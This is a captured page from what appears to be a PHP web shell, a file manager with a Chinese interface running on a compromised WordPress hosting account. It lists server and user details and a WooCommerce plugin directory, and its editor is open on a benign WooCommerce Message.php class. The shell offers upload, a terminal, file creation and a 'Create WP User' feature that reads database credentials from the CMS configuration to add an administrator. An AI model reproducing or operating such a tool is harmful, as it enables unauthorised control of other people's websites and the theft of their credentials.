Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
StoreApi
/
Routes
/
V1
/
Agentic
/
Messages
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
Message.php
1.10 KB
-rw-r--r--
2026-03-03 00:17
MessageError.php
3.54 KB
-rw-r--r--
2026-03-03 00:17
MessageInfo.php
1.24 KB
-rw-r--r--
2026-03-03 00:17
Messages.php
1.04 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
Message.php
<?php declare(strict_types=1); namespace Automattic\WooCommerce\StoreApi\Routes\V1\Agentic\Messages; use Automattic\WooCommerce\Internal\Agentic\Enums\Specs\MessageContentType; /** * Base class for error and info messages. */ abstract class Message { /** * Content type for the error message. * * Defaults to plain, but could also be markdown. * * @var string */ protected $content_type = MessageContentType::PLAIN; /** * Error content/message. * * @var string */ protected $content; /** * RFC 9535 JSONPath to the problematic parameter (optional). * * @var string|null */ protected $param; /** * Check if the message is an error. * * @return bool True if the message is an error, false otherwise. */ abstract public function is_error(): bool; /** * Convert the message to an array. * * @return array A message for the `messages` array of the response. */ abstract public function to_array(): array; /** * Use markdown content type for the content of the error. */ public function use_markdown() { $this->content_type = MessageContentType::MARKDOWN; } }
关闭
保存